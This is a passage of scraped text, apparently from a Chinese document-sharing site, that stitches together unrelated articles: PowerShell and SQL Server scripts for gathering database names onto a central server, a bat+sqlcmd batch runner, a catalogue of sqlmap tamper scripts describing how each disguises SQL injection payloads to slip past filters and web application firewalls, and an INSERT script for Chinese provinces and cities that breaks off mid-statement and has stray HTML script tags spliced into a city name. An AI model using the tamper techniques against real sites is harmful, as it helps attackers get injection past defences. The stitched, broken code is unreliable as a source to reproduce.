'SQLOLEDB', 'Data Source=10.120.100.3;Integrated Security=SSPI' ).[Info_stats].[dbo].[DBName] order by Check_Date desc)z) Set nocount off; 注意:在中⼼服务器上需要打开‘Ad Hoc Distributed Queries’的选项,才可以使⽤OPENDATASOURCE来同步查询结果到中⼼服务器 ⼆.开始powershell脚本的准备: 1.创建调⽤(1.Create_DB&Table.sql)的powershell脚本,⽤于第⼀次执⾏时使⽤: 脚本名:Create_DB&Table.ps1 $PSScriptRoot = Split-Path -Parent $MyInvocation.MyCommand.Definition $Serverlist="$PSScriptRoot\Serverlist.txt" $Create_table="$PSScriptRoot\1.Create_DB&Table.sql" Foreach ($server in GC $Serverlist) { Invoke-Sqlcmd -ServerInstance $server -InputFile $Create_table } 2.创建调⽤(2.Select_DBName.sql)的powershell脚本,⽤于收集数据: 脚本名:QueryData.ps1 $PSScriptRoot = Split-Path -Parent $MyInvocation.MyCommand.Definition $Serverlist="$PSScriptRoot\Serverlist.txt" $ITSPCheck="$PSScriptRoot\2.Select_DBName.sql" Foreach ($server in GC $Serverlist) { Invoke-Sqlcmd -ServerInstance $server -InputFile $ITSPCheck } 3.创建调⽤(3.Copy Info to Centre.sql)的powershell脚本,⽤于整合数据到中⼼服务器: 脚本名:IntegrateResult.ps1 $PSScriptRoot = Split-Path -Parent $MyInvocation.MyCommand.Definition $IntegrateResult="$PSScriptRoot\3.Copy Info to Centre.sql" $Selfcheck="$PSScriptRoot\2.Select_DBName.sql" Invoke-Sqlcmd -ServerInstance $env:COMPUTERNAME -InputFile $IntegrateResult Invoke-Sqlcmd -ServerInstance $env:COMPUTERNAME -InputFile $Selfcheck 4.创建统筹powershell脚本,来按步骤调⽤以上powershell脚本: 脚本名:ExecPs.ps1 $PSScriptRoot = Split-Path -Parent $MyInvocation.MyCommand.Definition powershell.exe "$PSScriptRoot\QueryData.ps1" powershell.exe "$PSScriptRoot\IntegrateResult.ps1" 第⼀次执⾏时,会多⼀个创建数据库和表的步骤: 脚本名:ExecPs_FirstTime.ps1 $PSScriptRoot = Split-Path -Parent $MyInvocation.MyCommand.Definition powershell.exe "$PSScriptRoot\Create_DB&Table.ps1" powershell.exe "$PSScriptRoot\QueryData.ps1" powershell.exe "$PSScriptRoot\IntegrateResult.ps1" 第⼀次执⾏ExecPs_FirstTime.ps1,之后执⾏ExecPs.ps1便可收集信息到中⼼服务器,并且旧数据会保留在每个节点服务器上,中⼼服务器通过判断对最新的数据进⾏收集: 对于其他类似的需求,也可以根据本例进⾏扩展。
bat+sqlcmd批量执行脚本
bat+sqlcmd批量执⾏脚本Hello,此BAT脚本能够帮助开发者将某⽬录下全部SQL脚本按⽂件名称依次在指定数据库中批量执⾏。
不⽤忍受powershell invoke-sqlcmd 的笨重。
在指执⾏时多⼀种选择。
bat⽂件@echo off@REM ******** ******** General Batch for Starting SQL ******** ********@REM %1 is the name of SQL script file@rem SET SQL_NAME=%1@SET SQL_NAME=%1@SHIFT /1@REM SHIFT /1@REM P1... is parameters of SQLCMD,P1=%1...@rem c for count@set /a c=0@rem ******** ******** parameters for sql server login ******** ********@set svrName=SERVERNAME\INSTANCENAME@set uname=your_name@set upwd=your_password@set db=YOURDBNAME@set s= %1 %2 %3 %4 %5 %6 %7 %8 %9@FOR %%A IN (%s%) DO @set /a c=c+1@if %c%==9 goto s9@if %c%==8 goto s8@if %c%==7 goto s7@if %c%==6 goto s6@if %c%==5 goto s5@if %c%==4 goto s4@if %c%==3 goto s3@if %c%==2 goto s2@if %c%==1 goto s1@if %c%==0 goto s0:s9@sqlcmd -S%svrName% -U%uname% -P%upwd% -d%db% -i%SQL_NAME% -l60 -v P1=%1 P2=%2 p3=%3 p4=%4 p5=%5 p6=%6 p=%7 p8=%8 p9=%9@goto end:s8@sqlcmd -S%svrName% -U%uname% -P%upwd% -d%db% -i%SQL_NAME% -l60 -v P1=%1 P2=%2 p3=%3 p4=%4 p5=%5 p6=%6 p=%7 p8=%8@goto end:s7@sqlcmd -S%svrName% -U%uname% -P%upwd% -d%db% -i%SQL_NAME% -l60 -v P1=%1 P2=%2 p3=%3 p4=%4 p5=%5 p6=%6 p=%7@goto end:s6@sqlcmd -S%svrName% -U%uname% -P%upwd% -d%db% -i%SQL_NAME% -l60 -v P1=%1 P2=%2 p3=%3 p4=%4 p5=%5 p6=%6@goto end:s5@sqlcmd -S%svrName% -U%uname% -P%upwd% -d%db% -i%SQL_NAME% -l60 -v P1=%1 P2=%2 p3=%3 p4=%4 p5=%5@goto end:s4@sqlcmd -S%svrName% -U%uname% -P%upwd% -d%db% -i%SQL_NAME% -l60 -v P1=%1 P2=%2 p3=%3 p4=%4@goto end:s3@sqlcmd -S%svrName% -U%uname% -P%upwd% -d%db% -i%SQL_NAME% -l60 -v P1=%1 P2=%2 p3=%3@goto end:s2@sqlcmd -S%svrName% -U%uname% -P%upwd% -d%db% -i%SQL_NAME% -l60 -v P1=%1 P2=%2@goto end:s1@sqlcmd -S%svrName% -U%uname% -P%upwd% -d%db% -i%SQL_NAME% -l60 -v P1=%1@goto end:s0@sqlcmd -S%svrName% -U%uname% -P%upwd% -d%db% -i%SQL_NAME% <span style="font-size: 11.8181819915771px; font-family: Arial, Helvetica, sans-serif;">-l60 </span> @goto end:end@echo off@set svrName=@set uname=@set upwd=@set db=@exit /b 0调⽤⽅法test.sqlset nocount ongoselect '$(p1)' as p1 ,'$(p2)' as p2批量调⽤d:test ⽂件夹下有多个 sql⽂件,批量执⾏。
sqlmap常用脚本
sqlmap常⽤脚本SQLMap常⽤脚本SQLMap的脚本都存放在安装⽬录的tamper⽂件夹中调⽤⽅法 --temp xxx.py xxx.py可加双引号也可不加可尝试脚本名称作⽤说明apostrophemask.py将引号替换成UTF-8,⽤于过滤单引号base64encode.py替换成base64编码multiplespaces.py围绕SQL关键字添加多个空格space2plus.py⽤+号代替空格nonrecursivereplacement.py作为双重查询语句,⽤双重语句替换预定义的SQL关键字space2randomblank.py将空格替换为其他有效字符unionalltounion.py将union all select 替换成union selectsecuresphere.py追加特制的字符串space2hash.py将空格替换为#号,并添加⼀个随机字符串和换⾏符space2mssqlblank.py(mssql)将空格替换成其他空符号space2mssqlhash.py将空格替换为#号,并添加⼀个换⾏符between.py⽤not between 0 and替换⼤于号,⽤between and替换等于号percentage.py ASP允许每个字符前⾯添加%号sp_password.py从DBMS⽇志的⾃动模糊处理的有效载荷追加sp_passwordcharencode.py对给定的payload全部字符使⽤URL编码randomcase.py随机⼤⼩写charunicodeencode.py字符串Unicode编码space2comment.py将空格替换成/**/equaltolike.py将等号替换为likegreatest.py绕过对⼤于号的过滤,⽤GREATEST替换⼤于号ifnull2ifsnull.py绕过对ifnull的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A) modsecurityversioned.py过滤空格,使⽤MySQL内联注释的⽅式进⾏注⼊space2mysqlblank.py将空格替换为其他空⽩符号(适⽤于MySQL)modsecurityzeroversioned.py使⽤MySQL内联注释的⽅式进⾏注⼊space2mysqlhash.py将空格替换为–,并添加⼀个换⾏符bluecoat.py在SQL语句之后⽤有效的随机空⽩替换空格符,随后⽤like替换等于号versionedkeywords.py注释绕过halfversionedmorekeywords.py当数据库为MySQL时绕过防⽕墙,在每个关键字之前添加MySQL版本注释space2moreshash.py将空格替换为#号,并添加⼀个随机字符串和换⾏符apostrphenullencode.py⽤⾮法双字节Unicode字符替换单引号appendnullbyte.py在有效负荷的结束位置加载零字节字符编码chardoubleencode.py对给定的payload全部字符使⽤双重url编码unmagicquotes.py⽤⼀个多字节组合和末尾通⽤注释⼀起替换空格randomcomments.py⽤/**/分割SQL关键字。
中国行政区域明细-SQL脚本
中国行政区域明细-数据库脚本(SQL)/**********创建省级表**********/CREATE TABLE T_Province(ProID INT IDENTITY(1,1) PRIMARY KEY, --省份主键ProName NVARCHAR(50) NOT NULL, --省份名称ProSort INT, --省份排序ProRemark NVARCHAR(50) --说明)Goinsert T_Province(ProName,ProSort,ProRemark) Values('北京市','1','直辖市')insert T_Province(ProName,ProSort,ProRemark) Values('天津市','2','直辖市')insert T_Province(ProName,ProSort,ProRemark) Values('河北省','5','省份')insert T_Province(ProName,ProSort,ProRemark) Values('山西省','6','省份')insert T_Province(ProName,ProSort,ProRemark) Values('内蒙古自治区','32','自治区') insert T_Province(ProName,ProSort,ProRemark) Values('辽宁省','8','省份')insert T_Province(ProName,ProSort,ProRemark) Values('吉林省','9','省份')insert T_Province(ProName,ProSort,ProRemark) Values('黑龙江省','10','省份')insert T_Province(ProName,ProSort,ProRemark) Values('上海市','3','直辖市')insert T_Province(ProName,ProSort,ProRemark) Values('江苏省','11','省份')insert T_Province(ProName,ProSort,ProRemark) Values('浙江省','12','省份')insert T_Province(ProName,ProSort,ProRemark) Values('安徽省','13','省份')insert T_Province(ProName,ProSort,ProRemark) Values('福建省','14','省份')insert T_Province(ProName,ProSort,ProRemark) Values('江西省','15','省份')insert T_Province(ProName,ProSort,ProRemark) Values('山东省','16','省份')insert T_Province(ProName,ProSort,ProRemark) Values('河南省','17','省份')insert T_Province(ProName,ProSort,ProRemark) Values('湖北省','18','省份')insert T_Province(ProName,ProSort,ProRemark) Values('湖南省','19','省份')insert T_Province(ProName,ProSort,ProRemark) Values('广东省','20','省份')insert T_Province(ProName,ProSort,ProRemark) Values('海南省','24','省份')insert T_Province(ProName,ProSort,ProRemark) Values('广西壮族自治区','28','自治区') insert T_Province(ProName,ProSort,ProRemark) Values('甘肃省','21','省份')insert T_Province(ProName,ProSort,ProRemark) Values('陕西省','27','省份')insert T_Province(ProName,ProSort,ProRemark) Values('新疆维吾尔自治区','31','自治区') insert T_Province(ProName,ProSort,ProRemark) Values('青海省','26','省份')insert T_Province(ProName,ProSort,ProRemark) Values('宁夏回族自治区','30','自治区') insert T_Province(ProName,ProSort,ProRemark) Values('重庆市','4','直辖市')insert T_Province(ProName,ProSort,ProRemark) Values('四川省','22','省份')insert T_Province(ProName,ProSort,ProRemark) Values('贵州省','23','省份')insert T_Province(ProName,ProSort,ProRemark) Values('云南省','25','省份')insert T_Province(ProName,ProSort,ProRemark) Values('西藏自治区','29','自治区')insert T_Province(ProName,ProSort,ProRemark) Values('台湾省','7','省份')insert T_Province(ProName,ProSort,ProRemark) Values('澳门特别行政区','33','特别行政区') insert T_Province(ProName,ProSort,ProRemark) Values('香港特别行政区','34','特别行政区')/********创建市级表********/CREATE TABLE T_City(CityID INT IDENTITY(1,1) Primary KEY , --城市主键CityName NVARCHAR(50) NOT NULL,--城市名称ProID INT, --所属省份CitySort INT --城市排序)INSERT T_City(CityName,ProID,CitySort) Values('北京市','1','1')INSERT T_City(CityName,ProID,CitySort) Values('天津市','2','2')INSERT T_City(CityName,ProID,CitySort) Values('上海市','9','3')INSERT T_City(CityName,ProID,CitySort) Values('重庆市','27','4')INSERT T_City(CityName,ProID,CitySort) Values('邯郸市','3','5')INSERT T_City(CityName,ProID,CitySort) Values('石家庄市','3','6')INSERT T_City(CityName,ProID,CitySort) Values('保定市','3','7')INSERT T_City(CityName,ProID,CitySort) Values('张家口市','3','8')INSERT T_City(CityName,ProID,CitySort) Values('承德市','3','9')INSERT T_City(CityName,ProID,CitySort) Values('唐山市','3','10')INSERT T_City(CityName,ProID,CitySort) Values('廊坊市','3','11')INSERT T_City(CityName,ProID,CitySort) Values('沧州市','3','12')INSERT T_City(CityName,ProID,CitySort) Values('衡水市','3','13')INSERT T_City(CityName,ProID,CitySort) Values('邢台市','3','14')INSERT T_City(CityName,ProID,CitySort) Values('秦皇<script type="text/javascript"><!--mce:0--></script><scripttype="text/javascript"><!--mce:1--></script><scripttype="text/javascript"><!--mce:2--></script><scripttype="text/javascript"><!--mce:3--></script><script type="text/javascript"><!--mce:4--></script>岛市','3','15')INSERT T_City(CityName,ProID,CitySort) Values('朔州市','4','16')INSERT T_City(CityName,ProID,CitySort) Values('忻州市','4','17')INSERT T_City(CityName,ProID,CitySort) Values('太原市','4','18')INSERT T_City(CityName,ProID,CitySort) Values('大同市','4','19')INSERT T_City(CityName,ProID,CitySort) Values('阳泉市','4','20')INSERT T_City(CityName,ProID,CitySort) Values('晋中市','4','21')INSERT T_City(CityName,ProID,CitySort) Values('长治市','4','22')INSERT T_City(CityName,ProID,CitySort) Values('晋城市','4','23')INSERT T_City(CityName,ProID,CitySort) Values('临汾市','4','24')INSERT T_City(CityName,ProID,CitySort) Values('吕梁市','4','25')INSERT T_City(CityName,ProID,CitySort) Values('运城市','4','26')INSERT T_City(CityName,ProID,CitySort) Values('沈阳市','6','27')INSERT T_City(CityName,ProID,CitySort) Values('铁岭市','6','28')INSERT T_City(CityName,ProID,CitySort) Values('鞍山市','6','30')INSERT T_City(CityName,ProID,CitySort) Values('抚顺市','6','31')INSERT T_City(CityName,ProID,CitySort) Values('本溪市','6','32')INSERT T_City(CityName,ProID,CitySort) Values('丹东市','6','33')INSERT T_City(CityName,ProID,CitySort) Values('锦州市','6','34')INSERT T_City(CityName,ProID,CitySort) Values('营口市','6','35')INSERT T_City(CityName,ProID,CitySort) Values('阜新市','6','36')INSERT T_City(CityName,ProID,CitySort) Values('辽阳市','6','37')INSERT T_City(CityName,ProID,CitySort) Values('朝阳市','6','38')INSERT T_City(CityName,ProID,CitySort) Values('盘锦市','6','39')INSERT T_City(CityName,ProID,CitySort) Values('葫芦岛市','6','40') INSERT T_City(CityName,ProID,CitySort) Values('长春市','7','41')INSERT T_City(CityName,ProID,CitySort) Values('吉林市','7','42')INSERT T_City(CityName,ProID,CitySort) Values('延边朝鲜族自治州','7','43') INSERT T_City(CityName,ProID,CitySort) Values('四平市','7','44')INSERT T_City(CityName,ProID,CitySort) Values('通化市','7','45')INSERT T_City(CityName,ProID,CitySort) Values('白城市','7','46')INSERT T_City(CityName,ProID,CitySort) Values('辽源市','7','47')INSERT T_City(CityName,ProID,CitySort) Values('松原市','7','48')INSERT T_City(CityName,ProID,CitySort) Values('白山市','7','49')INSERT T_City(CityName,ProID,CitySort) Values('哈尔滨市','8','50') INSERT T_City(CityName,ProID,CitySort) Values('齐齐哈尔市','8','51') INSERT T_City(CityName,ProID,CitySort) Values('鸡西市','8','52')INSERT T_City(CityName,ProID,CitySort) Values('牡丹江市','8','53') INSERT T_City(CityName,ProID,CitySort) Values('七台河市','8','54') INSERT T_City(CityName,ProID,CitySort) Values('佳木斯市','8','55') INSERT T_City(CityName,ProID,CitySort) Values('鹤岗市','8','56')INSERT T_City(CityName,ProID,CitySort) Values('双鸭山市','8','57') INSERT T_City(CityName,ProID,CitySort) Values('绥化市','8','58')INSERT T_City(CityName,ProID,CitySort) Values('黑河市','8','59')INSERT T_City(CityName,ProID,CitySort) Values('大兴安岭地区','8','60') INSERT T_City(CityName,ProID,CitySort) Values('伊春市','8','61')INSERT T_City(CityName,ProID,CitySort) Values('大庆市','8','62')INSERT T_City(CityName,ProID,CitySort) Values('南京市','10','63') INSERT T_City(CityName,ProID,CitySort) Values('无锡市','10','64') INSERT T_City(CityName,ProID,CitySort) Values('镇江市','10','65') INSERT T_City(CityName,ProID,CitySort) Values('苏州市','10','66') INSERT T_City(CityName,ProID,CitySort) Values('南通市','10','67') INSERT T_City(CityName,ProID,CitySort) Values('扬州市','10','68') INSERT T_City(CityName,ProID,CitySort) Values('盐城市','10','69') INSERT T_City(CityName,ProID,CitySort) Values('徐州市','10','70') INSERT T_City(CityName,ProID,CitySort) Values('淮安市','10','71') INSERT T_City(CityName,ProID,CitySort) Values('连云港市','10','72')INSERT T_City(CityName,ProID,CitySort) Values('泰州市','10','74') INSERT T_City(CityName,ProID,CitySort) Values('宿迁市','10','75') INSERT T_City(CityName,ProID,CitySort) Values('舟山市','11','76') INSERT T_City(CityName,ProID,CitySort) Values('衢州市','11','77') INSERT T_City(CityName,ProID,CitySort) Values('杭州市','11','78') INSERT T_City(CityName,ProID,CitySort) Values('湖州市','11','79') INSERT T_City(CityName,ProID,CitySort) Values('嘉兴市','11','80') INSERT T_City(CityName,ProID,CitySort) Values('宁波市','11','81') INSERT T_City(CityName,ProID,CitySort) Values('绍兴市','11','82') INSERT T_City(CityName,ProID,CitySort) Values('温州市','11','83') INSERT T_City(CityName,ProID,CitySort) Values('丽水市','11','84') INSERT T_City(CityName,ProID,CitySort) Values('金华市','11','85') INSERT T_City(CityName,ProID,CitySort) Values('台州市','11','86') INSERT T_City(CityName,ProID,CitySort) Values('合肥市','12','87') INSERT T_City(CityName,ProID,CitySort) Values('芜湖市','12','88') INSERT T_City(CityName,ProID,CitySort) Values('蚌埠市','12','89') INSERT T_City(CityName,ProID,CitySort) Values('淮南市','12','90') INSERT T_City(CityName,ProID,CitySort) Values('马鞍山市','12','91') INSERT T_City(CityName,ProID,CitySort) Values('淮北市','12','92') INSERT T_City(CityName,ProID,CitySort) Values('铜陵市','12','93') INSERT T_City(CityName,ProID,CitySort) Values('安庆市','12','94') INSERT T_City(CityName,ProID,CitySort) Values('黄山市','12','95') INSERT T_City(CityName,ProID,CitySort) Values('滁州市','12','96') INSERT T_City(CityName,ProID,CitySort) Values('阜阳市','12','97') INSERT T_City(CityName,ProID,CitySort) Values('宿州市','12','98') INSERT T_City(CityName,ProID,CitySort) Values('巢湖市','12','99') INSERT T_City(CityName,ProID,CitySort) Values('六安市','12','100') INSERT T_City(CityName,ProID,CitySort) Values('亳州市','12','101') INSERT T_City(CityName,ProID,CitySort) Values('池州市','12','102') INSERT T_City(CityName,ProID,CitySort) Values('宣城市','12','103') INSERT T_City(CityName,ProID,CitySort) Values('福州市','13','104') INSERT T_City(CityName,ProID,CitySort) Values('厦门市','13','105') INSERT T_City(CityName,ProID,CitySort) Values('宁德市','13','106') INSERT T_City(CityName,ProID,CitySort) Values('莆田市','13','107') INSERT T_City(CityName,ProID,CitySort) Values('泉州市','13','108') INSERT T_City(CityName,ProID,CitySort) Values('漳州市','13','109') INSERT T_City(CityName,ProID,CitySort) Values('龙岩市','13','110') INSERT T_City(CityName,ProID,CitySort) Values('三明市','13','111') INSERT T_City(CityName,ProID,CitySort) Values('南平市','13','112') INSERT T_City(CityName,ProID,CitySort) Values('鹰潭市','14','113') INSERT T_City(CityName,ProID,CitySort) Values('新余市','14','114') INSERT T_City(CityName,ProID,CitySort) Values('南昌市','14','115') INSERT T_City(CityName,ProID,CitySort) Values('九江市','14','116')INSERT T_City(CityName,ProID,CitySort) Values('抚州市','14','118') INSERT T_City(CityName,ProID,CitySort) Values('宜春市','14','119') INSERT T_City(CityName,ProID,CitySort) Values('吉安市','14','120') INSERT T_City(CityName,ProID,CitySort) Values('赣州市','14','121') INSERT T_City(CityName,ProID,CitySort) Values('景德镇市','14','122') INSERT T_City(CityName,ProID,CitySort) Values('萍乡市','14','123') INSERT T_City(CityName,ProID,CitySort) Values('菏泽市','15','124') INSERT T_City(CityName,ProID,CitySort) Values('济南市','15','125') INSERT T_City(CityName,ProID,CitySort) Values('青岛市','15','126') INSERT T_City(CityName,ProID,CitySort) Values('淄博市','15','127') INSERT T_City(CityName,ProID,CitySort) Values('德州市','15','128') INSERT T_City(CityName,ProID,CitySort) Values('烟台市','15','129') INSERT T_City(CityName,ProID,CitySort) Values('潍坊市','15','130') INSERT T_City(CityName,ProID,CitySort) Values('济宁市','15','131') INSERT T_City(CityName,ProID,CitySort) Values('泰安市','15','132') INSERT T_City(CityName,ProID,CitySort) Values('临沂市','15','133') INSERT T_City(CityName,ProID,CitySort) Values('滨州市','15','134') INSERT T_City(CityName,ProID,CitySort) Values('东营市','15','135') INSERT T_City(CityName,ProID,CitySort) Values('威海市','15','136') INSERT T_City(CityName,ProID,CitySort) Values('枣庄市','15','137') INSERT T_City(CityName,ProID,CitySort) Values('日照市','15','138') INSERT T_City(CityName,ProID,CitySort) Values('莱芜市','15','139') INSERT T_City(CityName,ProID,CitySort) Values('聊城市','15','140') INSERT T_City(CityName,ProID,CitySort) Values('商丘市','16','141') INSERT T_City(CityName,ProID,CitySort) Values('郑州市','16','142') INSERT T_City(CityName,ProID,CitySort) Values('安阳市','16','143') INSERT T_City(CityName,ProID,CitySort) Values('新乡市','16','144') INSERT T_City(CityName,ProID,CitySort) Values('许昌市','16','145') INSERT T_City(CityName,ProID,CitySort) Values('平顶山市','16','146') INSERT T_City(CityName,ProID,CitySort) Values('信阳市','16','147') INSERT T_City(CityName,ProID,CitySort) Values('南阳市','16','148') INSERT T_City(CityName,ProID,CitySort) Values('开封市','16','149') INSERT T_City(CityName,ProID,CitySort) Values('洛阳市','16','150') INSERT T_City(CityName,ProID,CitySort) Values('济源市','16','151') INSERT T_City(CityName,ProID,CitySort) Values('焦作市','16','152') INSERT T_City(CityName,ProID,CitySort) Values('鹤壁市','16','153') INSERT T_City(CityName,ProID,CitySort) Values('濮阳市','16','154') INSERT T_City(CityName,ProID,CitySort) Values('周口市','16','155') INSERT T_City(CityName,ProID,CitySort) Values('漯河市','16','156') INSERT T_City(CityName,ProID,CitySort) Values('驻马店市','16','157') INSERT T_City(CityName,ProID,CitySort) Values('三门峡市','16','158') INSERT T_City(CityName,ProID,CitySort) Values('武汉市','17','159') INSERT T_City(CityName,ProID,CitySort) Values('襄樊市','17','160')INSERT T_City(CityName,ProID,CitySort) Values('孝感市','17','162')INSERT T_City(CityName,ProID,CitySort) Values('黄冈市','17','163')INSERT T_City(CityName,ProID,CitySort) Values('黄石市','17','164')INSERT T_City(CityName,ProID,CitySort) Values('咸宁市','17','165')INSERT T_City(CityName,ProID,CitySort) Values('荆州市','17','166')INSERT T_City(CityName,ProID,CitySort) Values('宜昌市','17','167')INSERT T_City(CityName,ProID,CitySort) Values('恩施土家族苗族自治州','17','168') INSERT T_City(CityName,ProID,CitySort) Values('神农架林区','17','169')INSERT T_City(CityName,ProID,CitySort) Values('十堰市','17','170')INSERT T_City(CityName,ProID,CitySort) Values('随州市','17','171')INSERT T_City(CityName,ProID,CitySort) Values('荆门市','17','172')INSERT T_City(CityName,ProID,CitySort) Values('仙桃市','17','173')INSERT T_City(CityName,ProID,CitySort) Values('天门市','17','174')INSERT T_City(CityName,ProID,CitySort) Values('潜江市','17','175')INSERT T_City(CityName,ProID,CitySort) Values('岳阳市','18','176')INSERT T_City(CityName,ProID,CitySort) Values('长沙市','18','177')INSERT T_City(CityName,ProID,CitySort) Values('湘潭市','18','178')INSERT T_City(CityName,ProID,CitySort) Values('株洲市','18','179')INSERT T_City(CityName,ProID,CitySort) Values('衡阳市','18','180')INSERT T_City(CityName,ProID,CitySort) Values('郴州市','18','181')INSERT T_City(CityName,ProID,CitySort) Values('常德市','18','182')INSERT T_City(CityName,ProID,CitySort) Values('益阳市','18','183')INSERT T_City(CityName,ProID,CitySort) Values('娄底市','18','184')INSERT T_City(CityName,ProID,CitySort) Values('邵阳市','18','185')INSERT T_City(CityName,ProID,CitySort) Values('湘西土家族苗族自治州','18','186') INSERT T_City(CityName,ProID,CitySort) Values('张家界市','18','187')INSERT T_City(CityName,ProID,CitySort) Values('怀化市','18','188')INSERT T_City(CityName,ProID,CitySort) Values('永州市','18','189')INSERT T_City(CityName,ProID,CitySort) Values('广州市','19','190')INSERT T_City(CityName,ProID,CitySort) Values('汕尾市','19','191')INSERT T_City(CityName,ProID,CitySort) Values('阳江市','19','192')INSERT T_City(CityName,ProID,CitySort) Values('揭阳市','19','193')INSERT T_City(CityName,ProID,CitySort) Values('茂名市','19','194')INSERT T_City(CityName,ProID,CitySort) Values('惠州市','19','195')INSERT T_City(CityName,ProID,CitySort) Values('江门市','19','196')INSERT T_City(CityName,ProID,CitySort) Values('韶关市','19','197')INSERT T_City(CityName,ProID,CitySort) Values('梅州市','19','198')INSERT T_City(CityName,ProID,CitySort) Values('汕头市','19','199')INSERT T_City(CityName,ProID,CitySort) Values('深圳市','19','200')INSERT T_City(CityName,ProID,CitySort) Values('珠海市','19','201')INSERT T_City(CityName,ProID,CitySort) Values('佛山市','19','202')INSERT T_City(CityName,ProID,CitySort) Values('肇庆市','19','203')INSERT T_City(CityName,ProID,CitySort) Values('湛江市','19','204')INSERT T_City(CityName,ProID,CitySort) Values('河源市','19','206')INSERT T_City(CityName,ProID,CitySort) Values('清远市','19','207')INSERT T_City(CityName,ProID,CitySort) Values('云浮市','19','208')INSERT T_City(CityName,ProID,CitySort) Values('潮州市','19','209')INSERT T_City(CityName,ProID,CitySort) Values('东莞市','19','210')INSERT T_City(CityName,ProID,CitySort) Values('兰州市','22','211')INSERT T_City(CityName,ProID,CitySort) Values('金昌市','22','212')INSERT T_City(CityName,ProID,CitySort) Values('白银市','22','213')INSERT T_City(CityName,ProID,CitySort) Values('天水市','22','214')INSERT T_City(CityName,ProID,CitySort) Values('嘉峪关市','22','215')INSERT T_City(CityName,ProID,CitySort) Values('武威市','22','216')INSERT T_City(CityName,ProID,CitySort) Values('张掖市','22','217')INSERT T_City(CityName,ProID,CitySort) Values('平凉市','22','218')INSERT T_City(CityName,ProID,CitySort) Values('酒泉市','22','219')INSERT T_City(CityName,ProID,CitySort) Values('庆阳市','22','220')INSERT T_City(CityName,ProID,CitySort) Values('定西市','22','221')INSERT T_City(CityName,ProID,CitySort) Values('陇南市','22','222')INSERT T_City(CityName,ProID,CitySort) Values('临夏回族自治州','22','223') INSERT T_City(CityName,ProID,CitySort) Values('甘南藏族自治州','22','224') INSERT T_City(CityName,ProID,CitySort) Values('成都市','28','225')INSERT T_City(CityName,ProID,CitySort) Values('攀枝花市','28','226')INSERT T_City(CityName,ProID,CitySort) Values('自贡市','28','227')INSERT T_City(CityName,ProID,CitySort) Values('绵阳市','28','228')INSERT T_City(CityName,ProID,CitySort) Values('南充市','28','229')INSERT T_City(CityName,ProID,CitySort) Values('达州市','28','230')INSERT T_City(CityName,ProID,CitySort) Values('遂宁市','28','231')INSERT T_City(CityName,ProID,CitySort) Values('广安市','28','232')INSERT T_City(CityName,ProID,CitySort) Values('巴中市','28','233')INSERT T_City(CityName,ProID,CitySort) Values('泸州市','28','234')INSERT T_City(CityName,ProID,CitySort) Values('宜宾市','28','235')INSERT T_City(CityName,ProID,CitySort) Values('资阳市','28','236')INSERT T_City(CityName,ProID,CitySort) Values('内江市','28','237')INSERT T_City(CityName,ProID,CitySort) Values('乐山市','28','238')INSERT T_City(CityName,ProID,CitySort) Values('眉山市','28','239')INSERT T_City(CityName,ProID,CitySort) Values('凉山彝族自治州','28','240') INSERT T_City(CityName,ProID,CitySort) Values('雅安市','28','241')INSERT T_City(CityName,ProID,CitySort) Values('甘孜藏族自治州','28','242') INSERT T_City(CityName,ProID,CitySort) Values('阿坝藏族羌族自治州','28','243') INSERT T_City(CityName,ProID,CitySort) Values('德阳市','28','244')INSERT T_City(CityName,ProID,CitySort) Values('广元市','28','245')INSERT T_City(CityName,ProID,CitySort) Values('贵阳市','29','246')INSERT T_City(CityName,ProID,CitySort) Values('遵义市','29','247')INSERT T_City(CityName,ProID,CitySort) Values('安顺市','29','248')INSERT T_City(CityName,ProID,CitySort) Values('黔南布依族苗族自治州','29','249') INSERT T_City(CityName,ProID,CitySort) Values('黔东南苗族侗族自治州','29','250') INSERT T_City(CityName,ProID,CitySort) Values('铜仁地区','29','251')INSERT T_City(CityName,ProID,CitySort) Values('毕节地区','29','252')INSERT T_City(CityName,ProID,CitySort) Values('六盘水市','29','253')INSERT T_City(CityName,ProID,CitySort) Values('黔西南布依族苗族自治州','29','254') INSERT T_City(CityName,ProID,CitySort) Values('海口市','20','255')INSERT T_City(CityName,ProID,CitySort) Values('三亚市','20','256')INSERT T_City(CityName,ProID,CitySort) Values('五指山市','20','257')INSERT T_City(CityName,ProID,CitySort) Values('琼海市','20','258')INSERT T_City(CityName,ProID,CitySort) Values('儋州市','20','259')INSERT T_City(CityName,ProID,CitySort) Values('文昌市','20','260')INSERT T_City(CityName,ProID,CitySort) Values('万宁市','20','261')INSERT T_City(CityName,ProID,CitySort) Values('东方市','20','262')INSERT T_City(CityName,ProID,CitySort) Values('澄迈县','20','263')INSERT T_City(CityName,ProID,CitySort) Values('定安县','20','264')INSERT T_City(CityName,ProID,CitySort) Values('屯昌县','20','265')INSERT T_City(CityName,ProID,CitySort) Values('临高县','20','266')INSERT T_City(CityName,ProID,CitySort) Values('白沙黎族自治县','20','267') INSERT T_City(CityName,ProID,CitySort) Values('昌江黎族自治县','20','268') INSERT T_City(CityName,ProID,CitySort) Values('乐东黎族自治县','20','269') INSERT T_City(CityName,ProID,CitySort) Values('陵水黎族自治县','20','270') INSERT T_City(CityName,ProID,CitySort) Values('保亭黎族苗族自治县','20','271') INSERT T_City(CityName,ProID,CitySort) Values('琼中黎族苗族自治县','20','272') INSERT T_City(CityName,ProID,CitySort) Values('西双版纳傣族自治州','30','273') INSERT T_City(CityName,ProID,CitySort) Values('德宏傣族景颇族自治州','30','274') INSERT T_City(CityName,ProID,CitySort) Values('昭通市','30','275')INSERT T_City(CityName,ProID,CitySort) Values('昆明市','30','276')INSERT T_City(CityName,ProID,CitySort) Values('大理白族自治州','30','277') INSERT T_City(CityName,ProID,CitySort) Values('红河哈尼族彝族自治州','30','278') INSERT T_City(CityName,ProID,CitySort) Values('曲靖市','30','279')INSERT T_City(CityName,ProID,CitySort) Values('保山市','30','280')INSERT T_City(CityName,ProID,CitySort) Values('文山壮族苗族自治州','30','281') INSERT T_City(CityName,ProID,CitySort) Values('玉溪市','30','282')INSERT T_City(CityName,ProID,CitySort) Values('楚雄彝族自治州','30','283') INSERT T_City(CityName,ProID,CitySort) Values('普洱市','30','284')INSERT T_City(CityName,ProID,CitySort) Values('临沧市','30','285')INSERT T_City(CityName,ProID,CitySort) Values('怒江傈傈族自治州','30','286') INSERT T_City(CityName,ProID,CitySort) Values('迪庆藏族自治州','30','287') INSERT T_City(CityName,ProID,CitySort) Values('丽江市','30','288')INSERT T_City(CityName,ProID,CitySort) 